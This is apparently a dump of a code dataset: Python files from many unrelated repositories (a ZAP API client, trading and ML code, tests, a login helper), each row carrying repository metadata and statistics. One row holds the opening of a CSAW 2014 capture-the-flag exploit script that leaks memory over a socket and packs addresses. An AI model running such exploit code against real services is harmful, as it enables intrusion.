... | 28.032258 | 102 | 0.802071 | 80 | 869 | 8.5625 | 0.3125 | 0.061314 | 0.105109 | 0.183942 | 0.306569 | 0.306569 | 0 | 0 | 0 | 0 | 0 | 0.001274 | 0.096663 | 869 | 30 | 103 | 28.966667 | 0.871338 | 0.023015 | 0 | 0.315789 | 0 | 0 | 0.306147 | 0.234043 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.315789 | 0.052632 | 0 | 0.368421 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
abcf74d3543dcbf2c7fa1eff397453f8e4095e08 | 3,044 | py | Python | python/api/src/zapv2/auth.py | psiinon/zaproxy-release | 5462b14fb337a2d4f68595a207aa3367ec71a671 | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2017-07-26T18:03:44.000Z | 2017-07-26T18:03:44.000Z | python/api/src/zapv2/auth.py | gcxtx/zappy | 3d215327addd6f2ea4ca7091a42c330c67fc30ef | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 2 | 2016-02-25T10:06:53.000Z | 2016-03-29T07:49:34.000Z | python/api/src/zapv2/auth.py | gcxtx/zappy | 3d215327addd6f2ea4ca7091a42c330c67fc30ef | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2021-08-17T05:48:59.000Z | 2021-08-17T05:48:59.000Z | # Zed Attack Proxy (ZAP) and its related class files.
#
# ZAP is an HTTP/HTTPS proxy for assessing web application security.
#
# Copyright 2013 ZAP development team
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a c... | 42.277778 | 140 | 0.703022 | 389 | 3,044 | 5.401028 | 0.298201 | 0.099952 | 0.086625 | 0.13327 | 0.443598 | 0.435031 | 0.435031 | 0.435031 | 0.391242 | 0.391242 | 0 | 0.003145 | 0.164258 | 3,044 | 71 | 141 | 42.873239 | 0.82272 | 0.23456 | 0 | 0.060606 | 0 | 0 | 0.221788 | 0.105035 | 0 | 0 | 0 | 0 | 0 | 1 | 0.454545 | false | 0 | 0 | 0.424242 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
abd7ebb6a3efed0c59a0bf6d4b58df0c2f293555 | 307 | py | Python | Models/utils.py | Pipe-Runner-Lab/cornell_birdcall_identification | 79a807c4a7e368b2ffcb7ecc91176c2bc03f650a | [
"MIT"
] | null | null | null | Models/utils.py | Pipe-Runner-Lab/cornell_birdcall_identification | 79a807c4a7e368b2ffcb7ecc91176c2bc03f650a | [
"MIT"
] | 7 | 2021-08-23T20:52:07.000Z | 2022-03-12T00:48:51.000Z | Models/utils.py | Pipe-Runner-Lab/cornell_birdcall_identification | 79a807c4a7e368b2ffcb7ecc91176c2bc03f650a | [
"MIT"
] | null | null | null | from torch import nn
def get_default_fc(num_ftrs,adjusted_classes, params):
return nn.Sequential(
nn.Linear(num_ftrs, 1024),nn.ReLU(),nn.Dropout(p=params.fc_drop_out_0),
nn.Linear(1024, 1024),nn.ReLU(),nn.Dropout(p=params.fc_drop_out_1),
nn.Linear(1024, adjusted_classes)
)
| 34.111111 | 79 | 0.703583 | 50 | 307 | 4.08 | 0.48 | 0.117647 | 0.098039 | 0.117647 | 0.343137 | 0.343137 | 0.343137 | 0.343137 | 0.343137 | 0.343137 | 0 | 0.069767 | 0.159609 | 307 | 8 | 80 | 38.375 | 0.72093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0.142857 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
abea45b584c7c99d2b9324078e8fed24a7f61377 | 369 | py | Python | lepoop/entry/not_configured.py | alvinwan/lepoop | a611a4334941527077b1f772d1ac0ae008daedc0 | [
"MIT"
] | null | null | null | lepoop/entry/not_configured.py | alvinwan/lepoop | a611a4334941527077b1f772d1ac0ae008daedc0 | [
"MIT"
] | null | null | null | lepoop/entry/not_configured.py | alvinwan/lepoop | a611a4334941527077b1f772d1ac0ae008daedc0 | [
"MIT"
] | null | null | null | """Runs when the `poop` alias has not been setup."""
from colorama import init
from ..utils import colored
from .alias import is_configured
from .alias import configure
init()
def main():
if not is_configured():
configure()
print(colored('The `poop` alias was configured successfully.\n'
'... | 21.705882 | 67 | 0.682927 | 50 | 369 | 5 | 0.64 | 0.056 | 0.096 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.205962 | 369 | 16 | 68 | 23.0625 | 0.853242 | 0.124661 | 0 | 0 | 0 | 0 | 0.290221 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | true | 0 | 0.4 | 0 | 0.5 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
abfa15dff9f5420c035b3826b1395528ac642299 | 3,517 | py | Python | csaw-2014/exploit/400-1/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | 2 | 2015-03-24T22:20:08.000Z | 2018-05-12T16:41:13.000Z | csaw-2014/exploit/400-1/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | null | null | null | csaw-2014/exploit/400-1/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | null | null | null | import socket
import re
from struct import pack
from time import sleep
def recv_until(s, string=""):
text = ""
while 1 :
data = s.recv(4096)
text+=data
if not data or data.find(string) != -1:
break
return text
def leak(s):
s.send("A\n")
text = recv_until(s, "Sel... | 33.179245 | 88 | 0.639181 | 539 | 3,517 | 4.133581 | 0.402597 | 0.125673 | 0.091562 | 0.043088 | 0.130162 | 0.121185 | 0.084381 | 0.078995 | 0.078995 | 0.046679 | 0 | 0.296656 | 0.209269 | 3,517 | 105 | 89 | 33.495238 | 0.504495 | 0.051464 | 0 | 0 | 0 | 0 | 0.037576 | 0.008485 | 0 | 0 | 0.373636 | 0 | 0 | 0 | null | null | 0.023529 | 0.047059 | null | null | 0.035294 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
abfa9fcc8c8d6fc061a4cea57ebd8295d4f79af3 | 9,504 | py | Python | vnpy/trader/app/spreadTrading/stBase.py | cmbclh/vnpy1.7 | 25a95ba63c7797e92ba45450d79ee1326135fb47 | [
"MIT"
] | 1 | 2017-10-09T06:05:11.000Z | 2017-10-09T06:05:11.000Z | vnpy/trader/app/spreadTrading/stBase.py | cmbclh/vnpy-1.7 | ccca92139198a0d213c15fe531f37c1c702ee968 | [
"MIT"
] | null | null | null | vnpy/trader/app/spreadTrading/stBase.py | cmbclh/vnpy-1.7 | ccca92139198a0d213c15fe531f37c1c702ee968 | [
"MIT"
] | null | null | null | # encoding: UTF-8
from __future__ import division
from datetime import datetime
from math import floor
import pandas as pd
import numpy as np
import sys
sys.path.append('../')
#sys.path.append('D:\\tr\\vnpy-master\\vn.trader\\DAO')
sys.path.append('D:\\tr\\vnpy-1.7\\vnpy\\DAO')
sys.path.append('D:\\tr\\vnpy-1.7\\vn... | 37.270588 | 158 | 0.551557 | 865 | 9,504 | 5.947977 | 0.210405 | 0.040816 | 0.055977 | 0.008163 | 0.35724 | 0.29174 | 0.240816 | 0.219825 | 0.205831 | 0.196501 | 0 | 0.004161 | 0.291982 | 9,504 | 255 | 159 | 37.270588 | 0.76044 | 0.101957 | 0 | 0.333333 | 0 | 0 | 0.054882 | 0.032954 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.163636 | 0.060606 | null | null | 0.042424 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
abfe2c1cf99654791bb342078effa2478f34e393 | 310 | py | Python | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/users/tests/test_models.py | nathfroech/cookiecutter-django | 9568671807c24655d0c51ecef91d22fe8b550d3f | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/users/tests/test_models.py | nathfroech/cookiecutter-django | 9568671807c24655d0c51ecef91d22fe8b550d3f | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/users/tests/test_models.py | nathfroech/cookiecutter-django | 9568671807c24655d0c51ecef91d22fe8b550d3f | [
"BSD-3-Clause"
] | null | null | null | import pytest
from hamcrest import assert_that, equal_to, is_
from django.conf import settings
@pytest.mark.django_db
def test_user_get_absolute_url(user: settings.AUTH_USER_MODEL):
expected_url = '/users/{0}/'.format(user.username)
assert_that(user.get_absolute_url(), is_(equal_to(expected_url)))
| 28.181818 | 69 | 0.790323 | 48 | 310 | 4.75 | 0.5625 | 0.087719 | 0.131579 | 0.157895 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003597 | 0.103226 | 310 | 10 | 70 | 31 | 0.816547 | 0 | 0 | 0 | 0 | 0 | 0.035484 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 1 | 0.142857 | false | 0 | 0.428571 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
abffd96161e8443437fe3910d4ce59e8abc42d99 | 731 | py | Python | tests/_test_version_greater.py | jonyboi396825/COM-Server | e4e8a1a5e9f86c1036ebb7ac3d39c20b63e7e905 | [
"MIT"
] | 4 | 2021-11-09T04:11:51.000Z | 2022-01-30T01:03:16.000Z | tests/_test_version_greater.py | jonyboi396825/COM-Server | e4e8a1a5e9f86c1036ebb7ac3d39c20b63e7e905 | [
"MIT"
] | 55 | 2021-11-15T16:36:25.000Z | 2022-03-10T04:48:08.000Z | tests/_test_version_greater.py | jonyboi396825/COM-Server | e4e8a1a5e9f86c1036ebb7ac3d39c20b63e7e905 | [
"MIT"
] | 1 | 2021-11-12T02:14:07.000Z | 2021-11-12T02:14:07.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Version testing
Don't want to run when running `pytest`, only run when something
is pushed to develop branch or PR to master.
"""
import configparser
import requests
from com_server import __version__
from passive.cmp_version import Version
def test_version_great... | 23.580645 | 85 | 0.719562 | 99 | 731 | 5.141414 | 0.59596 | 0.027505 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013267 | 0.175103 | 731 | 30 | 86 | 24.366667 | 0.830846 | 0.336525 | 0 | 0 | 0 | 0 | 0.191083 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 1 | 0.076923 | false | 0.076923 | 0.307692 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
2800fe4ff8f5543c36554bc37b647db2a125d9ae | 390 | py | Python | mp/visualize/models.py | Ecotrust/PEW-EFH | 83e404fe90e957891ab2dfaad327e52346cea748 | [
"Apache-2.0"
] | 1 | 2017-09-06T14:05:48.000Z | 2017-09-06T14:05:48.000Z | mp/visualize/models.py | Ecotrust/PEW-EFH | 83e404fe90e957891ab2dfaad327e52346cea748 | [
"Apache-2.0"
] | 126 | 2015-01-05T19:47:52.000Z | 2021-09-07T23:44:29.000Z | mp/visualize/models.py | Ecotrust/COMPASS | 42ee113e4d66767300cfab0d6ce1f35847f447ed | [
"Apache-2.0"
] | null | null | null | from django.db import models
from django.conf import settings
from django.contrib.gis.db import models
from madrona.features import register
from madrona.features.models import Feature
@register
class Bookmark(Feature):
url_hash = models.CharField(max_length=2050)
class Options:
verbose_name = '... | 27.857143 | 49 | 0.761538 | 50 | 390 | 5.88 | 0.6 | 0.102041 | 0.095238 | 0.122449 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012384 | 0.171795 | 390 | 14 | 50 | 27.857143 | 0.897833 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 0.071611 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.454545 | 0 | 0.727273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
e608539fab23c3cf7080aa7205e16f057ed4a51c | 2,132 | py | Python | test/test_coloripy.py | ajshajib/coloripy | 136bad593b3914a5c33dec069df8bf5a44a5815d | [
"MIT"
] | 3 | 2020-06-14T13:12:33.000Z | 2022-01-03T21:41:16.000Z | test/test_coloripy.py | ajshajib/coloripy | 136bad593b3914a5c33dec069df8bf5a44a5815d | [
"MIT"
] | null | null | null | test/test_coloripy.py | ajshajib/coloripy | 136bad593b3914a5c33dec069df8bf5a44a5815d | [
"MIT"
] | null | null | null | """
Tests for `coloripy` module.
"""
import numpy as np
from math import isclose
import coloripy as cp
class TestColoripy(object):
@classmethod
def setup_class(cls):
pass
def test_skew_scale(self):
modes = ['linear', 'square', 'cubic', 'power', 'sqrt']
vals = [0., 0.5, 1.]
... | 38.071429 | 66 | 0.486867 | 239 | 2,132 | 4.288703 | 0.476987 | 0.020488 | 0.023415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.445537 | 0.379925 | 2,132 | 55 | 67 | 38.763636 | 0.329803 | 0.013133 | 0 | 0.093023 | 0 | 0 | 0.012405 | 0 | 0 | 0 | 0 | 0 | 0.046512 | 1 | 0.093023 | false | 0.046512 | 0.069767 | 0 | 0.186047 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e62704d640c5f34b51dc4894e557ad6bcb2ec7d5 | 1,637 | py | Python | ad_hoc/name_mapper_backfill.py | Connor-R/NSBL | 16615990d058d171fab4790f937846fd1f0b2ee9 | [
"MIT"
] | 1 | 2020-11-19T23:20:19.000Z | 2020-11-19T23:20:19.000Z | ad_hoc/name_mapper_backfill.py | Connor-R/NSBL | 16615990d058d171fab4790f937846fd1f0b2ee9 | [
"MIT"
] | null | null | null | ad_hoc/name_mapper_backfill.py | Connor-R/NSBL | 16615990d058d171fab4790f937846fd1f0b2ee9 | [
"MIT"
] | null | null | null | from py_db import db
import NSBL_helpers as helper
db = db("NSBL")
table_dict = {"register_batting_analytical": "a.player_name"
, "register_batting_primary": "a.player_name"
, "register_batting_secondary": "a.player_name"
, "register_batting_splits": "a.player_name"
, "register_pitching_analytical":... | 32.098039 | 82 | 0.681735 | 218 | 1,637 | 4.770642 | 0.316514 | 0.121154 | 0.148077 | 0.146154 | 0.477885 | 0.142308 | 0.080769 | 0.080769 | 0.080769 | 0 | 0 | 0.001484 | 0.176542 | 1,637 | 50 | 83 | 32.74 | 0.77003 | 0.008552 | 0 | 0 | 0 | 0 | 0.665022 | 0.316471 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.051282 | null | null | 0.025641 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e62dd8453d35731f8df986056643c1efd1e8ea57 | 1,257 | py | Python | py/py_0105_special_subset_sums_testing.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | py/py_0105_special_subset_sums_testing.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | py/py_0105_special_subset_sums_testing.py | lcsm29/project-euler | fab794ece5aa7a11fc7c2177f26250f40a5b1447 | [
"MIT"
] | null | null | null | # Solution of;
# Project Euler Problem 105: Special subset sums: testing
# https://projecteuler.net/problem=105
#
# Let S(A) represent the sum of elements in set A of size n.
# We shall call it a special sum set if for any two non-empty disjoint
# subsets, B and C, the following properties are true:
#
# S(B) ≠ S(C);... | 34.916667 | 76 | 0.67144 | 222 | 1,257 | 3.761261 | 0.608108 | 0.035928 | 0.026347 | 0.033533 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092105 | 0.214002 | 1,257 | 35 | 77 | 35.914286 | 0.752024 | 0.842482 | 0 | 0 | 0 | 0 | 0.045977 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0.125 | 0.125 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
e62e5420e9280590cadcb41f39f8b617ff3cad05 | 3,673 | py | Python | pyserver/item/attc/annotation.py | lbouma/Cyclopath | d09d927a1e6f9e07924007fd39e8e807cd9c0f8c | [
"Apache-2.0"
] | 15 | 2015-05-06T05:11:48.000Z | 2021-12-03T14:56:58.000Z | pyserver/item/attc/annotation.py | landonb/Cyclopath | d09d927a1e6f9e07924007fd39e8e807cd9c0f8c | [
"Apache-2.0"
] | null | null | null | pyserver/item/attc/annotation.py | landonb/Cyclopath | d09d927a1e6f9e07924007fd39e8e807cd9c0f8c | [
"Apache-2.0"
] | 8 | 2015-05-06T05:11:36.000Z | 2020-11-04T05:11:22.000Z | # Copyright (c) 2006-2013 Regents of the University of Minnesota.
# For licensing terms, see the file LICENSE.
import conf
import g
from item import attachment
from item import item_base
from item import item_versioned
from item.util.item_type import Item_Type
from util_.streetaddress import ccp_stop_words
log = g.l... | 30.355372 | 79 | 0.632181 | 468 | 3,673 | 4.681624 | 0.401709 | 0.021908 | 0.031949 | 0.038795 | 0.140575 | 0.127796 | 0.127796 | 0.095847 | 0.095847 | 0.052031 | 0 | 0.027975 | 0.270079 | 3,673 | 120 | 80 | 30.608333 | 0.789258 | 0.342499 | 0 | 0 | 0 | 0 | 0.022122 | 0 | 0 | 0 | 0 | 0.016667 | 0 | 1 | 0.1 | false | 0 | 0.14 | 0 | 0.56 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
e64d35a8b39dc13cbd44e4267a4f6d20a1f20bd8 | 746 | py | Python | games/stock/environment.py | hkp1030/muzero-stock | d3acddf11afa523b81bbe1a626a50c95eb78c165 | [
"MIT"
] | 1 | 2022-01-21T21:15:49.000Z | 2022-01-21T21:15:49.000Z | games/stock/environment.py | hkp1030/muzero-stock | d3acddf11afa523b81bbe1a626a50c95eb78c165 | [
"MIT"
] | null | null | null | games/stock/environment.py | hkp1030/muzero-stock | d3acddf11afa523b81bbe1a626a50c95eb78c165 | [
"MIT"
] | 1 | 2022-01-21T21:30:37.000Z | 2022-01-21T21:30:37.000Z | class Environment:
PRICE_IDX = 4 # 종가의 위치
def __init__(self, chart_data=None, training_data=None):
self.chart_data = chart_data
self.training_data = training_data
self.observation = None
self.idx = -1
def reset(self):
self.observation = None
self.idx = -1
... | 24.866667 | 61 | 0.591153 | 96 | 746 | 4.40625 | 0.302083 | 0.099291 | 0.07565 | 0.085106 | 0.141844 | 0.141844 | 0.141844 | 0 | 0 | 0 | 0 | 0.009766 | 0.313673 | 746 | 29 | 62 | 25.724138 | 0.816406 | 0.008043 | 0 | 0.173913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0 | 0.043478 | 0.521739 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
e651cc7d2f10c7d86c7ce7b411ef45695942e02f | 1,320 | py | Python | tests/test_utils.py | SalemHarrache/dbcut | 0fd60e15f3b5532c5c531923d2e9ef08ce17c935 | [
"MIT"
] | 16 | 2019-11-22T16:36:56.000Z | 2022-03-12T01:49:03.000Z | tests/test_utils.py | SalemHarrache/dbcut | 0fd60e15f3b5532c5c531923d2e9ef08ce17c935 | [
"MIT"
] | 3 | 2019-11-23T06:11:30.000Z | 2020-06-23T13:34:04.000Z | tests/test_utils.py | SalemHarrache/dbcut | 0fd60e15f3b5532c5c531923d2e9ef08ce17c935 | [
"MIT"
] | 4 | 2019-11-22T20:42:57.000Z | 2022-02-23T09:10:00.000Z | import unittest
from collections import OrderedDict
from dbcut.utils import sorted_nested_dict
def test_simple_dict_is_sorted():
data = {
"c": 1,
"a": 2,
"b": 3,
}
expected = OrderedDict([("a", 2), ("b", 3), ("c", 1)])
assert expected == sorted_nested_dict(data)
def test_nes... | 22.372881 | 82 | 0.524242 | 172 | 1,320 | 3.837209 | 0.27907 | 0.145455 | 0.193939 | 0.212121 | 0.562121 | 0.498485 | 0.498485 | 0.401515 | 0.216667 | 0.136364 | 0 | 0.032931 | 0.309848 | 1,320 | 58 | 83 | 22.758621 | 0.691548 | 0.051515 | 0 | 0.391304 | 0 | 0 | 0.0288 | 0 | 0 | 0 | 0 | 0 | 0.152174 | 1 | 0.086957 | false | 0.021739 | 0.065217 | 0 | 0.173913 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e66228a86c2396ec8a63b8d48e9ca8a5edd9c594 | 502 | py | Python | migrations/versions/1d09e9261d5_.py | mainulhossain/biowl | 039adc96539fae25843b1fc36074a4e5e55830ec | [
"MIT"
] | null | null | null | migrations/versions/1d09e9261d5_.py | mainulhossain/biowl | 039adc96539fae25843b1fc36074a4e5e55830ec | [
"MIT"
] | null | null | null | migrations/versions/1d09e9261d5_.py | mainulhossain/biowl | 039adc96539fae25843b1fc36074a4e5e55830ec | [
"MIT"
] | 1 | 2020-01-05T10:47:21.000Z | 2020-01-05T10:47:21.000Z | """empty message
Revision ID: 1d09e9261d5
Revises: 40d93619b7d
Create Date: 2016-12-16 11:38:41.336859
"""
# revision identifiers, used by Alembic.
revision = '1d09e9261d5'
down_revision = '40d93619b7d'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - plea... | 18.592593 | 63 | 0.687251 | 60 | 502 | 5.733333 | 0.616667 | 0.078488 | 0.122093 | 0.133721 | 0.372093 | 0.372093 | 0.372093 | 0.372093 | 0.372093 | 0.372093 | 0 | 0.129353 | 0.199203 | 502 | 26 | 64 | 19.307692 | 0.726368 | 0.575697 | 0 | 0.25 | 0 | 0 | 0.122222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
e669828a1fd8d946f628655596de52579956c2b4 | 442 | py | Python | Leetcode/560-Subarray_Sum.py | EdwaRen/Competitve-Programming | e8bffeb457936d28c75ecfefb5a1f316c15a9b6c | [
"MIT"
] | 1 | 2021-05-03T21:48:25.000Z | 2021-05-03T21:48:25.000Z | Leetcode/560-Subarray_Sum.py | EdwaRen/Competitve_Programming | e8bffeb457936d28c75ecfefb5a1f316c15a9b6c | [
"MIT"
] | null | null | null | Leetcode/560-Subarray_Sum.py | EdwaRen/Competitve_Programming | e8bffeb457936d28c75ecfefb5a1f316c15a9b6c | [
"MIT"
] | null | null | null | class Solution(object):
def subarraySum(self, nums, k):
sum = 0
res = 0
sum_history = {0:1}
for i in nums:
sum+=i
if sum - k in sum_history:
res+=sum_history[sum-k]
if sum in sum_history:
sum_history[sum]+=1
... | 22.1 | 39 | 0.466063 | 59 | 442 | 3.389831 | 0.389831 | 0.3 | 0.26 | 0.14 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043478 | 0.427602 | 442 | 19 | 40 | 23.263158 | 0.747036 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0 | 0 | 0.1875 | 0.0625 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0501d436e365fc40c731e765ab901eb50645cb02 | 1,489 | py | Python | main.py | ytyaru/Hatena.WebSite.Login.201703040757 | 11ffc5549398478146a9966189e06cf535b34092 | [
"CC0-1.0"
] | null | null | null | main.py | ytyaru/Hatena.WebSite.Login.201703040757 | 11ffc5549398478146a9966189e06cf535b34092 | [
"CC0-1.0"
] | null | null | null | main.py | ytyaru/Hatena.WebSite.Login.201703040757 | 11ffc5549398478146a9966189e06cf535b34092 | [
"CC0-1.0"
] | null | null | null | #!python3
#encoding:utf-8
from urllib.request import build_opener, HTTPCookieProcessor
from urllib.parse import urlencode
from http.cookiejar import CookieJar
import pprint
import dataset
class HatenaSite(object):
def __init__(self, path_hatena_accounts_sqlite3):
self.path_hatena_accounts_sqlite3 = path_ha... | 33.088889 | 110 | 0.646071 | 173 | 1,489 | 5.312139 | 0.421965 | 0.106638 | 0.159956 | 0.163221 | 0.126224 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012195 | 0.229013 | 1,489 | 44 | 111 | 33.840909 | 0.788328 | 0.014775 | 0 | 0.057143 | 0 | 0 | 0.151639 | 0.040301 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057143 | false | 0.057143 | 0.142857 | 0 | 0.257143 | 0.114286 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0511c5e889756be6d1498e4e5630fe4522e1af10 | 176 | py | Python | dzien1/p1_start.py | angelm1974/przyklady | ee0483ca69b789270641f3cd6c945b0cd0afbea9 | [
"MIT"
] | 1 | 2021-09-20T21:48:11.000Z | 2021-09-20T21:48:11.000Z | dzien1/p1_start.py | angelm1974/przyklady | ee0483ca69b789270641f3cd6c945b0cd0afbea9 | [
"MIT"
] | null | null | null | dzien1/p1_start.py | angelm1974/przyklady | ee0483ca69b789270641f3cd6c945b0cd0afbea9 | [
"MIT"
] | null | null | null |
